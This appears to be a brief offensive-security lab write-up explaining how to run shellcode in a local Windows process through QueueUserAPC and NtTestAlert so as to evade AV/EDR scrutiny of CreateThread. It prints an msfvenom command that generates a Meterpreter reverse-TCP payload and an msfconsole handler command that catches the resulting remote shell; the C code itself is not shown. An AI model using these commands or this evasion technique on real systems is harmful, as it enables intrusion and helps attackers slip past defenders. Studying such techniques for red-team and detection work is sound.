This is a quick lab that shows how to execute shellcode within a local process by leveraging a Win32 API QueueUserAPC and an officially undocumented Native API NtTestAlert, which lands in kernel that calls KiUserApcDispatcher if the APC queue is not empty.
The advantage of this technique is that it does not rely on CreateThread or CreateRemoteThread API calls which are more popular and hence usually more scrutinized by SOCs and AV/EDR vendors.
Thanks to for pointing me to NtTestAlert.
Execution
The flow of the technique is simple:
Allocate memory in the local process for the shellcode
Write shellcode to the newly allocated memory location
Queue an APC to the current thread
Issue NtTestAlert
Receive meterpreter session
Lets's generate the meterpreter shellcode first:
attacker@kali
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=443 -f c
Short code that performs NtTestAlert function address resolution, memory allocation, shellcode writing to memory, APC queuing and NtTestAlert call:
Now, set up a multi handler for catching the incoming meterpreter connection:
attacker@kali
msfconsole -x "use exploits/multi/handler; set lhost 10.0.0.5; set lport 443; set payload windows/x64/meterpreter/reverse_tcp; exploit"
Below shows the technique in action, resulting in a meterpreter shell: